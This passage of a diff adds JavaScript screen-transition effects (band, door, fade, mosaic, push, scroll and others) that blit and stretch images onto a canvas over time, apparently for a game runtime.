+ this.blit(this.source2, 0, 0, this.m_source2Width / 3 - w, 0, w, h); // Left Side
+ this.blit(this.source2, this.m_source2Width - w, 0, 2 * this.m_source2Width / 3, 0, w, h); // Right Side
+
+ w = this.m_source2Width / 3;
+ h = this.m_source2Height * elapsedTime / this.m_duration;
+ this.blit(this.source2, w, this.m_source2Height - h, w, this.m_source2Height - h, w, h); // Bottom side
+ break;
+ case 4:
+ // To right, to left, to down and to up
+ ////////////////////////////////////////
+
+ w = this.m_source2Width / 3 * elapsedTime / this.m_duration;
+ h = this.m_source2Height;
+ this.blit(this.source2, 0, 0, this.m_source2Width / 3 - w, 0, w, h); // Left Side
+ this.blit(this.source2, this.m_source2Width - w, 0, 2 * this.m_source2Width / 3, 0, w, h); // Right Side
+
+ w = this.m_source2Width / 3;
+ h = this.m_source2Height / 2 * elapsedTime / this.m_duration;
+ this.blit(this.source2, w, 0, w, this.m_source2Height / 2 - h, w, h); // Top side
+ this.blit(this.source2, w, this.m_source2Height - h, w, this.m_source2Height / 2, w, h); // Bottom side
+ break;
+ case 5:
+ // To right, to left, to down and to up
+ ////////////////////////////////////////
+
+ w = this.m_source2Width / 3 * elapsedTime / this.m_duration;
+ h = this.m_source2Height;
+ this.blit(this.source2, 0, 0, this.m_source2Width / 3 - w, 0, w, h); // Left Side
+ this.blit(this.source2, this.m_source2Width - w, 0, 2 * this.m_source2Width / 3, 0, w, h); // Right Side
+
+ w = this.m_source2Width / 3;
+ h = this.m_source2Height / 2 * elapsedTime / this.m_duration;
+ this.blit(this.source2, w, 0, w, 0, w, h); // Top side
+ this.blit(this.source2, w, this.m_source2Height - h, w, this.m_source2Height - h, w, h); // Bottom side
+ break;
+ case 6:
+ // Scrolling (3 bands)
+ ///////////////////////
+
+ w = this.m_source2Width / 3;
+ h = this.m_source2Height * elapsedTime / this.m_duration;
+
+ this.blit(this.source2, 0, this.m_source2Height - h, 0, 0, w, h); // Band 1
+ this.blit(this.source2, w, 0, w, this.m_source2Height - h, w, h); // Band 2
+ this.blit(this.source2, w * 2, this.m_source2Height - h, w * 2, 0, w, h); // Band 3
+ break;
+ case 7:
+ // Scrolling (7 bands)
+ ///////////////////////
+
+ w = this.m_source2Width / 7;
+ h = this.m_source2Height * elapsedTime / this.m_duration;
+
+ this.blit(this.source2, 0, this.m_source2Height - h, 0, 0, w, h); // Band 1
+ this.blit(this.source2, w, 0, w, this.m_source2Height - h, w, h); // Band 2
+ this.blit(this.source2, w * 2, this.m_source2Height - h, w * 2, 0, w, h); // Band 3
+ this.blit(this.source2, w * 3, 0, w * 3, this.m_source2Height - h, w, h); // Band 4
+ this.blit(this.source2, w * 4, this.m_source2Height - h, w * 4, 0, w, h); // Band 5
+ this.blit(this.source2, w * 5, 0, w * 5, this.m_source2Height - h, w, h); // Band 6
+ this.blit(this.source2, w * 6, this.m_source2Height - h, w * 6, 0, w * 2, h); // Band 7
+ break;
+ default:
+ this.blit(this.source2);
+ break;
+ }
+ }
+ return null;
+ },
+ end: function ()
+ {
+ this.finish();
+ }
+ });
+
+
+ function CTransBack()
+ {
+ this.dwStyle = 0;
+ this.m_source2Width = 0;
+ this.m_source2Height = 0;
+ }
+ CTransBack.prototype = CServices.extend(new CTrans(),
+ {
+ init: function (data, file, display, source, dest)
+ {
+ this.dwStyle = file.readAInt();
+ this.start(data, display, source, dest);
+ },
+ stepDraw: function (flag)
+ {
+ // 1st time?
+ if (this.m_starting)
+ {
+ this.m_starting = false;
+ this.m_source2Width = this.source2.width;
+ this.m_source2Height = this.source2.height;
+ }
+
+ var elapsedTime = this.getDeltaTime();
+
+ if ((elapsedTime / this.m_duration) > 1.0)
+ {
+ this.blit(this.source2); // completed
+ }
+ else
+ {
+ var w, h;
+ this.blit(this.source2);
+
+ switch (this.dwStyle)
+ {
+ // OPEN
+ case 0:
+ w = this.m_source2Width / 2 * elapsedTime / this.m_duration;
+ w = this.m_source2Width / 2 - w;
+ h = this.m_source2Height / 2 * elapsedTime / this.m_duration;
+ h = this.m_source2Height / 2 - h;
+ this.stretch(this.source1, 0, 0, w, h, 0, 0, this.m_source2Width / 2, this.m_source2Height / 2);
+
+ w = this.m_source2Width / 2 * elapsedTime / this.m_duration;
+ h = this.m_source2Height / 2 * elapsedTime / this.m_duration;
+ h = this.m_source2Height / 2 - h;
+ this.stretch(this.source1, this.m_source2Width / 2 + w, 0, this.m_source2Width / 2 - w, h, this.m_source2Width / 2, 0, this.m_source2Width / 2, this.m_source2Height / 2);
+
+ w = this.m_source2Width / 2 * elapsedTime / this.m_duration;
+ w = this.m_source2Width / 2 - w;
+ h = this.m_source2Height / 2 * elapsedTime / this.m_duration;
+ this.stretch(this.source1, 0, this.m_source2Height / 2 + h, w, this.m_source2Height / 2 - h, 0, this.m_source2Height / 2, this.m_source2Width / 2, this.m_source2Height / 2);
+
+ w = this.m_source2Width / 2 * elapsedTime / this.m_duration;
+ h = this.m_source2Height / 2 * elapsedTime / this.m_duration;
+ this.stretch(this.source1, this.m_source2Width / 2 + w, this.m_source2Height / 2 + h, this.m_source2Width / 2 - w, this.m_source2Height / 2 - h, this.m_source2Width / 2, this.m_source2Height / 2, this.m_source2Width / 2, this.m_source2Height / 2);
+ break;
+ // SLIDE
+ case 1:
+ w = this.m_source2Width * elapsedTime / this.m_duration;
+ w = this.m_source2Width - w;
+ h = this.m_source2Height * elapsedTime / this.m_duration;
+ h = this.m_source2Height - h;
+ this.blit(this.source1, 0, 0, this.m_source2Width - w, this.m_source2Height - h, w, h);
+ break;
+ // SLIDE
+ case 2:
+ w = this.m_source2Width * elapsedTime / this.m_duration;
+ h = this.m_source2Height * elapsedTime / this.m_duration;
+ h = this.m_source2Height - h;
+ this.blit(this.source1, w, 0, 0, this.m_source2Height - h, this.m_source2Width - w, h);
+ break;
+ // SLIDE
+ case 3:
+ w = this.m_source2Width * elapsedTime / this.m_duration;
+ w = this.m_source2Width - w;
+ h = this.m_source2Height * elapsedTime / this.m_duration;
+ this.blit(this.source1, 0, h, this.m_source2Width - w, 0, w, this.m_source2Height - h);
+ break;
+ // SLIDE
+ case 4:
+ w = this.m_source2Width * elapsedTime / this.m_duration;
+ h = this.m_source2Height * elapsedTime / this.m_duration;
+ this.blit(this.source1, w, h, 0, 0, this.m_source2Width - w, this.m_source2Height - h);
+ break;
+ // OPEN (SCROLLING)
+ case 5:
+ w = this.m_source2Width / 2 * elapsedTime / this.m_duration;
+ w = this.m_source2Width / 2 - w;
+ h = this.m_source2Height / 2 * elapsedTime / this.m_duration;
+ h = this.m_source2Height / 2 - h;
+ this.blit(this.source1, w - this.m_source2Width / 2, h - this.m_source2Height / 2, 0, 0, this.m_source2Width / 2, this.m_source2Height / 2);
+
+ w = this.m_source2Width / 2 * elapsedTime / this.m_duration;
+ h = this.m_source2Height / 2 * elapsedTime / this.m_duration;
+ h = this.m_source2Height / 2 - h;
+ this.blit(this.source1, this.m_source2Width / 2 + w, h - this.m_source2Height / 2, this.m_source2Width / 2, 0, this.m_source2Width / 2, this.m_source2Height / 2);
+
+ w = this.m_source2Width / 2 * elapsedTime / this.m_duration;
+ w = this.m_source2Width / 2 - w;
+ h = this.m_source2Height / 2 * elapsedTime / this.m_duration;
+ this.blit(this.source1, w - this.m_source2Width / 2, this.m_source2Height / 2 + h, 0, this.m_source2Height / 2, this.m_source2Width / 2, this.m_source2Height / 2);
+
+ w = this.m_source2Width / 2 * elapsedTime / this.m_duration;
+ h = this.m_source2Height / 2 * elapsedTime / this.m_duration;
+ this.blit(this.source1, this.m_source2Width / 2 + w, this.m_source2Height / 2 + h, this.m_source2Width / 2, this.m_source2Height / 2, this.m_source2Width / 2, this.m_source2Height / 2);
+ break;
+ // SLIDE
+ case 6:
+ w = this.m_source2Width;
+ h = this.m_source2Height / 2 * elapsedTime / this.m_duration;
+ h = this.m_source2Height / 2 - h;
+ this.blit(this.source1, 0, h - this.m_source2Height / 2, 0, 0, this.m_source2Width, this.m_source2Height / 2);
+ this.blit(this.source1, 0, this.m_source2Height - h, 0, this.m_source2Height / 2, this.m_source2Width, this.m_source2Height / 2);
+ break;
+ // SLIDE
+ case 7:
+ w = this.m_source2Width / 2 * elapsedTime / this.m_duration;
+ w = this.m_source2Width / 2 - w;
+ h = this.m_source2Height;
+ this.blit(this.source1, w - this.m_source2Width / 2, 0, 0, 0, this.m_source2Width / 2, this.m_source2Height);
+ this.blit(this.source1, this.m_source2Width - w, 0, this.m_source2Width / 2, 0, this.m_source2Width / 2, this.m_source2Height);
+ break;
+ }
+ }
+ return null;
+ },
+ end: function ()
+ {
+ this.finish();
+ }
+ });
+
+ function CTransBand()
+ {
+ this.bpNbBands = 0;
+ this.bpDirection = 0;
+ this.m_wbande = 0;
+ this.m_rw = 0;
+ this.m_prc = null;
+ }
+ CTransBand.prototype = CServices.extend(new CTrans(),
+ {
+ init: function (data, file, display, source, dest)
+ {
+ this.bpNbBands = file.readAShort();
+ this.bpDirection = file.readAShort();
+ this.start(data, display, source, dest);
+ },
+ stepDraw: function (flag)
+ {
+ var sw = this.source1.width;
+ var sh = this.source1.height;
+ var n;
+
+ // 1st time? create surface
+ if (this.m_starting)
+ {
+ // Security...
+ if (this.bpNbBands == 0)
+ this.bpNbBands = 1;
+
+ switch (this.bpDirection)
+ {
+ case CTrans.LEFT_RIGHT:
+ case CTrans.RIGHT_LEFT:
+ this.m_wbande = (sw + this.bpNbBands - 1) / this.bpNbBands;
+ if (this.m_wbande == 0)
+ {
+ this.m_wbande = 1;
+ this.bpNbBands = sw;
+ }
+ break;
+ default:
+ this.m_wbande = (sh + this.bpNbBands - 1) / this.bpNbBands;
+ if (this.m_wbande == 0)
+ {
+ this.m_wbande = 1;
+ this.bpNbBands = sh;
+ }
+ break;
+ }
+ this.m_rw = 0;
+ this.m_starting = false;
+ }
+
+ // Attention, passer la transparence en parametre...
+ if (this.bpNbBands <= 0 || this.m_wbande <= 0 || this.m_duration == 0)
+ this.blit(this.source2); // termine
+ else
+ {
+ var rw = this.m_wbande * this.getDeltaTime() / this.m_duration;
+ if (rw > this.m_rw)
+ {
+ var x = 0, y = 0, w = 0, h = 0;
+ for (n = 0; n < this.bpNbBands; n++)
+ {
+ switch (this.bpDirection)
+ {
+ case CTrans.LEFT_RIGHT:
+ x = this.m_rw + n * this.m_wbande;
+ y = 0;
+ w = rw - this.m_rw;
+ h = sh;
+ break;
+ case CTrans.RIGHT_LEFT:
+ x = sw - (this.m_rw + n * this.m_wbande) - (rw - this.m_rw);
+ y = 0;
+ w = rw - this.m_rw;
+ h = sh;
+ break;
+ case CTrans.TOP_BOTTOM:
+ x = 0;
+ y = this.m_rw + n * this.m_wbande;
+ w = sw;
+ h = rw - this.m_rw;
+ break;
+ case CTrans.BOTTOM_TOP:
+ x = 0;
+ y = sh - (this.m_rw + n * this.m_wbande) - (rw - this.m_rw);
+ w = sw;
+ h = rw - this.m_rw;
+ break;
+ }
+ this.blit(this.source2, x, y, x, y, w, h);
+ }
+ }
+ this.m_rw = rw;
+ }
+ return this.m_prc;
+ },
+ end: function ()
+ {
+ this.finish();
+ }
+ });
+
+
+ function CTransCell()
+ {
+ this.dwPos = 0;
+ this.dwPos2 = 0;
+ this.m_source2Width = 0;
+ this.m_source2Height = 0;
+ }
+ CTransCell.prototype = CServices.extend(new CTrans(),
+ {
+ init: function (data, file, display, source, dest)
+ {
+ this.dwPos = file.readAInt();
+ this.dwPos2 = file.readAInt();
+ this.start(data, display, source, dest);
+ },
+ stepDraw: function (flag)
+ {
+ if (this.m_starting)
+ {
+ this.m_starting = false;
+ this.m_source2Width = this.source2.width;
+ this.m_source2Height = this.source2.height;
+ }
+
+ var elapsedTime = this.getDeltaTime();
+
+ if ((elapsedTime / this.m_duration) > 1.0)
+ {
+ this.blit(this.source2); // completed
+ }
+ else
+ {
+ var x, y, w, h, i, j, w2, h2;
+ var width, height;
+
+ width = this.m_source2Width / this.dwPos;
+ height = this.m_source2Height / this.dwPos2;
+ w = this.m_source2Width / this.dwPos;
+ h = this.m_source2Height / this.dwPos2;
+
+ for (i = 0; i < this.dwPos; i++)
+ {
+ for (j = 0; j < this.dwPos2; j++)
+ {
+ x = ( i * width );
+ y = ( j * height );
+
+ w2 = w * elapsedTime / this.m_duration;
+ h2 = h * elapsedTime / this.m_duration;
+ this.stretch(this.source2, x + (w - w2) / 2, y + (h - h2) / 2, w2, h2, x + (w - w2) / 2, y + (h - h2) / 2, w2, h2);
+ }
+ }
+ }
+ return null;
+ },
+ end: function ()
+ {
+ this.finish();
+ }
+ });
+
+ function CTransDoor()
+ {
+ this.m_direction = 0;
+ this.m_wbande = 0;
+ this.m_rw = 0;
+ }
+ CTransDoor.prototype = CServices.extend(new CTrans(),
+ {
+ init: function (data, file, display, source, dest)
+ {
+ this.m_direction = file.readAShort();
+ this.start(data, display, source, dest);
+ },
+ stepDraw: function (flag)
+ {
+ // 1st time? create surface
+ if (this.m_starting)
+ {
+ switch (this.m_direction)
+ {
+ case CTrans.CENTER_LEFTRIGHT:
+ case CTrans.LEFTRIGHT_CENTER:
+ this.m_wbande = this.source1.width / 2;
+ break;
+ default:
+ this.m_wbande = this.source1.height / 2;
+ break;
+ }
+ this.m_rw = 0;
+ this.m_starting = false;
+ }
+
+ // Attention, passer la transparence en parametre...
+ if (this.m_wbande == 0)
+ this.blit(this.source2); // termine
+ else
+ {
+ var x = 0, y = 0, w = 0, h = 0;
+ var rw = this.m_wbande * this.getDeltaTime() / this.m_duration;
+ if (rw > this.m_rw)
+ {
+ // 1st band
+ switch (this.m_direction)
+ {
+ case CTrans.CENTER_LEFTRIGHT:
+ x = this.source1.width / 2 - rw;
+ y = 0;
+ w = rw - this.m_rw;
+ h = this.source2.height;
+ break;
+ case CTrans.LEFTRIGHT_CENTER:
+ x = this.m_rw;
+ y = 0;
+ w = rw - this.m_rw;
+ h = this.source2.height;
+ break;
+ case CTrans.CENTER_TOPBOTTOM:
+ x = 0;
+ y = this.source1.height / 2 - rw;
+ w = this.source2.width;
+ h = rw - this.m_rw;
+ break;
+ case CTrans.TOPBOTTOM_CENTER:
+ x = 0;
+ y = this.m_rw;
+ w = this.source2.width;
+ h = rw - this.m_rw;
+ break;
+ }
+ this.blit(this.source2, x, y, x, y, w, h);
+
+ // 2nd band
+ switch (this.m_direction)
+ {
+ case CTrans.CENTER_LEFTRIGHT:
+ x = this.source1.width / 2 + this.m_rw;
+ break;
+ case CTrans.LEFTRIGHT_CENTER:
+ x = this.source1.width - rw;
+ break;
+ case CTrans.CENTER_TOPBOTTOM:
+ y = this.source1.height / 2 + this.m_rw;
+ break;
+ case CTrans.TOPBOTTOM_CENTER:
+ y = this.source1.height - rw;
+ break;
+ }
+ this.blit(this.source2, x, y, x, y, w, h);
+ }
+ }
+ return null;
+ },
+ end: function ()
+ {
+ this.finish();
+ }
+ });
+
+
+ function CTransFade()
+ {
+ }
+ CTransFade.prototype = CServices.extend(new CTrans(),
+ {
+ init: function (data, file, display, source, dest)
+ {
+ this.start(data, display, source, dest);
+ },
+ stepDraw: function (flag)
+ {
+ // 1st time? create surface
+ if (this.m_starting)
+ {
+ this.m_starting = false;
+ }
+
+ var fadeCoef;
+
+ // Fade in
+ if ((flag & CTrans.TRFLAG_FADEIN) != 0)
+ {
+ this.destContext.globalAlpha = 1.0;
+ this.blit(this.source1);
+ fadeCoef = this.getDeltaTime() / this.m_duration;
+ this.destContext.globalAlpha = fadeCoef;
+ this.blit(this.source2);
+ }
+ // Fade out
+ else
+ {
+ this.destContext.globalAlpha = 1.0;
+ this.blit(this.source1);
+ fadeCoef = this.getDeltaTime() / this.m_duration;
+ this.destContext.globalAlpha = fadeCoef;
+ this.blit(this.source2);
+ }
+ return null;
+ },
+ end: function ()
+ {
+ this.destContext.globalAlpha = 1.0;
+ this.finish();
+ }
+ });
+
+
+ function CTransLine()
+ {
+ this.dwPos = 0;
+ this.dwStyle = 0;
+ this.dwScrolling = 0;
+ this.m_source2Width = 0;
+ this.m_source2Height = 0;
+ }
+ CTransLine.prototype = CServices.extend(new CTrans(),
+ {
+ init: function (data, file, display, source, dest)
+ {
+ this.dwPos = file.readAInt();
+ this.dwStyle = file.readAInt();
+ this.dwScrolling = file.readAInt();
+ this.start(data, display, source, dest);
+ },
+ stepDraw: function (flag)
+ {
+ // 1st time?
+ if (this.m_starting)
+ {
+ this.m_starting = false;
+ this.m_source2Width = this.source2.width;
+ this.m_source2Height = this.source2.height;
+ }
+
+ var elapsedTime = this.getDeltaTime();
+
+ if ((elapsedTime / this.m_duration) > 1.0)
+ {
+ this.blit(this.source2); // completed
+ }
+ else
+ {
+ var x, y, w, h;
+ var i = 0; // Loop
+ var j = 0; // Loop
+ var linesize = 0;
+
+ // Horizontal
+ if (this.dwStyle == 0)
+ {
+ linesize = this.m_source2Height / this.dwPos;
+ for (i = 0; i < this.dwPos; i++)
+ {
+ if (j == 0)
+ {
+ x = 0;
+ y = (i * linesize);
+ w = this.m_source2Width * elapsedTime / this.m_duration;
+
+ // Last
+ if (i == this.dwPos - 1)
+ h = this.m_source2Height;
+ else
+ h = (linesize + 1.0);
+
+ // Without scrolling or with scrolling
+ if (this.dwScrolling == 0)
+ this.blit(this.source2, x, y, x, y, w, h);
+ else
+ this.blit(this.source2, x, y, this.m_source2Width - w, y, w, h);
+
+ j = 1;
+ }
+ else
+ {
+ y = (i * linesize);//h;
+ w = this.m_source2Width * elapsedTime / this.m_duration;
+ x = this.m_source2Width - w;
+
+ // Last
+ if (i == this.dwPos - 1)
+ h = this.m_source2Height;
+ else
+ h = (linesize + 1.0);
+
+ // Without scrolling or with scrolling
+ if (this.dwScrolling == 0)
+ this.blit(this.source2, x, y, x, y, w, h);
+ else
+ this.blit(this.source2, x, y, 0, y, w, h);
+
+ j = 0;
+ }
+ }
+ }
+ // Vertical
+ else
+ {
+ linesize = this.m_source2Width / this.dwPos;
+ for (i = 0; i < this.dwPos; i++)
+ {
+ if (j == 0)
+ {
+ x = (i * linesize);
+ y = 0;
+ h = this.m_source2Height * elapsedTime / this.m_duration;
+
+ // Last
+ if (i == this.dwPos - 1)
+ w = this.m_source2Width;
+ else
+ w = (linesize + 1);
+
+ // Without scrolling or with scrolling
+ if (this.dwScrolling == 0)
+ this.blit(this.source2, x, y, x, y, w, h);
+ else
+ this.blit(this.source2, x, y, x, this.m_source2Height - h, w, h);
+
+ j = 1;
+ }
+ else
+ {
+ x = (i * linesize);
+ h = this.m_source2Height * elapsedTime / this.m_duration;
+ y = this.m_source2Height - h;
+
+ // Last
+ if (i == this.dwPos - 1)
+ w = this.m_source2Width;
+ else
+ w = (linesize + 1);
+
+ // Without scrolling or with scrolling
+ if (this.dwScrolling == 0)
+ this.blit(this.source2, x, y, x, y, w, h);
+ else
+ this.blit(this.source2, x, y, x, 0, w, h);
+ j = 0;
+ }
+ }
+ }
+ }
+ return null;
+ },
+ end: function ()
+ {
+ this.finish();
+ }
+ });
+
+
+ function CTransMosaic()
+ {
+ // Parameters
+ this.m_spotPercent;
+
+ // Runtime
+ this.m_spotSize = 0;
+ this.m_nbBlockPerLine = 0;
+ this.m_nbBlockPerCol = 0;
+ this.m_nbBlocks = 0;
+ this.m_lastNbBlocks = 0;
+ this.m_bitbuf = null;
+ }
+ CTransMosaic.prototype = CServices.extend(new CTrans(),
+ {
+ init: function (data, file, display, source, dest)
+ {
+ this.m_spotPercent = file.readAInt();
+ this.start(data, display, source, dest);
+ },
+ stepDraw: function (flag)
+ {
+ // 1st time? create surface
+ if (this.m_starting)
+ {
+ var sw = this.source1.width;
+ var sh = this.source1.height;
+
+ // Spot size: voir si ca rend bien
+ this.m_spotSize = Math.floor(((sw * this.m_spotPercent / 100) + (sh * this.m_spotPercent / 100)) / 2);
+ if (this.m_spotSize == 0)
+ this.m_spotSize = 1;
+
+ // Calcul buffer bits
+ var bufSize;
+ this.m_nbBlockPerLine = ((sw + this.m_spotSize - 1) / this.m_spotSize);
+ this.m_nbBlockPerCol = ((sh + this.m_spotSize - 1) / this.m_spotSize);
+ this.m_nbBlocks = this.m_nbBlockPerLine * this.m_nbBlockPerCol;
+ bufSize = Math.floor((this.m_nbBlocks + 7) / 8 + 2); // 2 = security
+ this.m_lastNbBlocks = 0;
+ this.m_bitbuf = new Array(bufSize);
+ var n;
+ for (n = 0; n < bufSize; n++)
+ this.m_bitbuf[n] = 0;
+ this.m_starting = false;
+ }
+
+ if (this.m_bitbuf == null || this.m_nbBlockPerLine < 2 || this.m_nbBlockPerCol < 2 || this.m_duration == 0)
+ this.blit(this.source2); // termine
+ else
+ {
+ var NB_TRIES = 1;
+ var i;
+ var l, xb = 0, yb = 0;
+ var nbBlocks = Math.floor(this.m_nbBlocks * this.getDeltaTime() / this.m_duration);
+ var nbCurrentBlocks = nbBlocks - this.m_lastNbBlocks;
+ if (nbCurrentBlocks != 0)
+ {
+ this.m_lastNbBlocks = nbBlocks;
+ for (l = 0; l < nbCurrentBlocks; l++)
+ {
+ // Get random block coordinates
+ for (i = 0; i < NB_TRIES; i++)
+ {
+ xb = Math.floor(this.m_nbBlockPerLine * Math.random());
+ yb = Math.floor(this.m_nbBlockPerCol * Math.random());
+
+ var nb, off;
+ var mask;
+
+ nb = yb * this.m_nbBlockPerLine + xb;
+ off = Math.floor(nb / 8);
+ mask = (1 << (nb & 7));
+ if ((this.m_bitbuf[off] & mask) == 0)
+ {
+ this.m_bitbuf[off] |= mask;
+ break;
+ }
+
+ var pBuf = off;
+ var nbb = (this.m_nbBlocks + 7) / 8;
+ var b;
+ var r = false;
+ for (b = off; b < nbb; b++, pBuf++)
+ {
+ if (this.m_bitbuf[pBuf] != -1)
+ {
+ yb = Math.floor((b * 8) / this.m_nbBlockPerLine);
+ xb = Math.floor((b * 8) % this.m_nbBlockPerLine);
+ for (mask = 1; mask != 0; mask <<= 1)
+ {
+ if ((this.m_bitbuf[pBuf] & mask) == 0)
+ {
+ this.m_bitbuf[pBuf] |= mask;
+ r = true;
+ break;
+ }
+ if (++xb >= this.m_nbBlockPerLine)
+ {
+ xb = 0;
+ if (++yb >= this.m_nbBlockPerCol)
+ break;
+ }
+ }
+ if (r)
+ break;
+ }
+ }
+ if (r)
+ break;
+
+ pBuf = 0;
+ for (b = 0; b < off; b++, pBuf++)
+ {
+ if (this.m_bitbuf[pBuf] != 255)
+ {
+ yb = Math.floor((b * 8) / m_nbBlockPerLine);
+ xb = Math.floor((b * 8) % m_nbBlockPerLine);
+ for (mask = 1; mask != 0; mask <<= 1)
+ {
+ if ((this.m_bitbuf[pBuf] & mask) == 0)
+ {
+ this.m_bitbuf[pBuf] |= mask;
+ r = true;
+ break;
+ }
+ if (++xb >= this.m_nbBlockPerLine)
+ {
+ xb = 0;
+ if (++yb >= this.m_nbBlockPerCol)
+ break;
+ }
+ }
+ if (r)
+ break;
+ }
+ if (r)
+ break;
+
+ r = false;
+ }
+ }
+ if (i < NB_TRIES)
+ {
+ this.blit(this.source2, Math.floor(xb * this.m_spotSize), Math.floor(yb * this.m_spotSize), Math.floor(xb * this.m_spotSize), Math.floor(yb * this.m_spotSize), this.m_spotSize, this.m_spotSize);
+ }
+ }
+ }
+ }
+ return null;
+ },
+ end: function ()
+ {
+ this.finish();
+ }
+ });
+
+
+ function CTransOpen()
+ {
+ this.dwStyle = 0;
+ this.m_source2Width = 0;
+ this.m_source2Height = 0;
+ }
+ CTransOpen.prototype = CServices.extend(new CTrans(),
+ {
+ init: function (data, file, display, source, dest)
+ {
+ this.dwStyle = file.readAInt();
+ this.start(data, display, source, dest);
+ },
+ stepDraw: function (flag)
+ {
+ // 1st time?
+ if (this.m_starting)
+ {
+ this.m_starting = false;
+ this.m_source2Width = this.source2.width;
+ this.m_source2Height = this.source2.height;
+ }
+
+ var elapsedTime = this.getDeltaTime();
+
+ var pourcentage = elapsedTime / this.m_duration;
+
+ if (pourcentage > 1.0)
+ {
+ this.blit(this.source2); // completed
+ }
+ else
+ {
+ var x, y, w, h;
+ if (pourcentage < 0.25)
+ {
+ w = this.m_source2Width * 2 * elapsedTime / this.m_duration;
+ w *= 2;
+ h = this.m_source2Height / 7;
+ x = this.m_source2Width / 2 - w / 2;
+ y = this.m_source2Height / 2 - h / 2;
+ this.blit(this.source2, x, y, x, y, w, h);
+
+ w = this.m_source2Width / 7;
+ h = this.m_source2Height * 2 * elapsedTime / this.m_duration;
+ h *= 2;
+ x = this.m_source2Width / 2 - w / 2;
+ y = this.m_source2Height / 2 - h / 2;
+ this.blit(this.source2, x, y, x, y, w, h);
+ }
+ else
+ {
+ x = this.m_source2Width / 2;
+ w = this.m_source2Width * elapsedTime / this.m_duration - x;
+ h = this.m_source2Height / 2;
+ y = 0;
+ this.blit(this.source2, x, y, x, y, w, h);
+
+ y = this.m_source2Height / 2;
+ h = this.m_source2Height * elapsedTime / this.m_duration - y;
+ w = this.m_source2Width / 2;
+ x = w;
+ this.blit(this.source2, x, y, x, y, w, h);
+
+ w = this.m_source2Width * elapsedTime / this.m_duration - this.m_source2Width / 2;
+ x = this.m_source2Width / 2 - w;
+ h = this.m_source2Height / 2;
+ y = h;
+ this.blit(this.source2, x, y, x, y, w, h);
+
+ h = this.m_source2Height * elapsedTime / this.m_duration - this.m_source2Height / 2;
+ y = this.m_source2Height / 2 - h;
+ w = this.m_source2Width / 2;
+ x = 0;
+ this.blit(this.source2, x, y, x, y, w, h);
+ }
+ }
+ return null;
+ },
+ end: function ()
+ {
+ this.finish();
+ }
+ });
+
+
+ function CTransPush()
+ {
+ this.dwStyle = 0;
+ this.m_source2Width = 0;
+ this.m_source2Height = 0;
+ this.m_refresh = 0;
+ }
+ CTransPush.prototype = CServices.extend(new CTrans(),
+ {
+ init: function (data, file, display, source, dest)
+ {
+ this.dwStyle = file.readAInt();
+ this.start(data, display, source, dest);
+ },
+ stepDraw: function (flag)
+ {
+ // 1st time?
+ if (this.m_starting)
+ {
+ this.m_starting = false;
+ this.m_source2Width = this.source2.width;
+ this.m_source2Height = this.source2.height;
+ this.m_refresh = false;
+ }
+
+ var elapsedTime = this.getDeltaTime();
+
+ var pourcentage = elapsedTime / this.m_duration;
+ if (pourcentage > 1.0)
+ {
+ this.blit(this.source2);
+ }
+ else
+ {
+ var x, y, w, h;
+
+ // First Scrolling
+ if (pourcentage <= 0.5)
+ {
+ switch (this.dwStyle)
+ {
+ case 0:
+ w = this.m_source2Width * elapsedTime / this.m_duration * 2;
+ h = this.m_source2Height / 2;
+ x = this.m_source2Width - w;
+ y = this.m_source2Height / 2;
+ this.blit(this.source2, 0, 0, x, y, w, h);
+ break;
+ case 1:
+ w = this.m_source2Width * elapsedTime / this.m_duration * 2;
+ h = this.m_source2Height / 2;
+ x = this.m_source2Width - w;
+ y = this.m_source2Height / 2;
+ this.blit(this.source2, x, 0, 0, y, w, h);
+ break;
+ case 2:
+ w = this.m_source2Width * elapsedTime / this.m_duration * 2;
+ h = this.m_source2Height / 2;
+ x = this.m_source2Width - w;
+ y = this.m_source2Height / 2;
+ this.blit(this.source2, 0, y, x, 0, w, h);
+ break;
+ case 3:
+ w = this.m_source2Width * elapsedTime / this.m_duration * 2;
+ h = this.m_source2Height / 2;
+ x = this.m_source2Width - w;
+ y = this.m_source2Height / 2;
+ this.blit(this.source2, x, y, 0, 0, w, h);
+ break;
+ }
+ }
+
+ // Second Scrolling
+ if (pourcentage > 0.5)
+ {
+ if (this.m_refresh == false)
+ {
+ if (this.dwStyle <= 1)
+ this.blit(this.source2, 0, 0, 0, this.m_source2Height / 2, this.m_source2Width, this.m_source2Height / 2);
+ else
+ this.blit(this.source2, 0, this.m_source2Height / 2, 0, 0, this.m_source2Width, this.m_source2Height / 2);
+ this.m_refresh = true;
+ }
+
+ pourcentage = elapsedTime - this.m_duration / 2.0;
+ pourcentage /= this.m_duration / 2.0;
+ pourcentage *= 1000;
+ h = this.m_source2Height / 2 * pourcentage / 1000; // Math.floor()?
+
+ switch (this.dwStyle)
+ {
+ case 0:
+ case 1:
+ this.stretch(this.source2, 0, h, this.m_source2Width, this.m_source2Height / 2, 0, this.m_source2Height / 2, this.m_source2Width, this.m_source2Height / 2);
+ this.stretch(this.source2, 0, 0, this.m_source2Width, h, 0, this.m_source2Height / 2 - h, this.m_source2Width, h);
+ break;
+ case 2:
+ case 3:
+ this.stretch(this.source2, 0, this.m_source2Height / 2 - h, this.m_source2Width, this.m_source2Height / 2, 0, 0, this.m_source2Width, this.m_source2Height / 2);
+ this.stretch(this.source2, 0, this.m_source2Height - h, this.m_source2Width, h, 0, this.m_source2Height / 2, this.m_source2Width, h);
+ break;
+ }
+ }
+ }
+ return null;
+ },
+ end: function ()
+ {
+ this.finish();
+ }
+ });
+
+
+ function CTransScroll()
+ {
+ this.m_direction;
+ this.m_wbande;
+ this.m_rw;
+ }
+ CTransScroll.prototype = CServices.extend(new CTrans(),
+ {
+ init: function (data, file, display, source, dest)
+ {
+ this.m_direction = file.readAInt();
+ this.start(data, display, source, dest);
+ },
+ stepDraw: function (flag)
+ {
+ var sw = this.source1.width;
+ var sh = this.source1.height;
+
+ // 1st time? create surface
+ if (this.m_starting)
+ {
+ switch (this.m_direction)
+ {
+ case CTrans.LEFT_RIGHT:
+ case CTrans.RIGHT_LEFT:
+ this.m_wbande = sw;
+ break;
+ default:
+ this.m_wbande = sh;
+ break;
+ }
+ this.m_rw = 0;
+ this.m_starting = false;
+ }
+
+ if (this.m_duration == 0)
+ this.blit(this.source2); // termine
+ else
+ {
+ var rw = this.m_wbande * this.getDeltaTime() / this.m_duration;
+ if (rw > this.m_rw)
+ {
+ var x = 0, y = 0;
+
+ switch (this.m_direction)
+ {
+ case CTrans.LEFT_RIGHT:
+ x = rw - sw;
+ y = 0;
+ break;
+ case CTrans.RIGHT_LEFT:
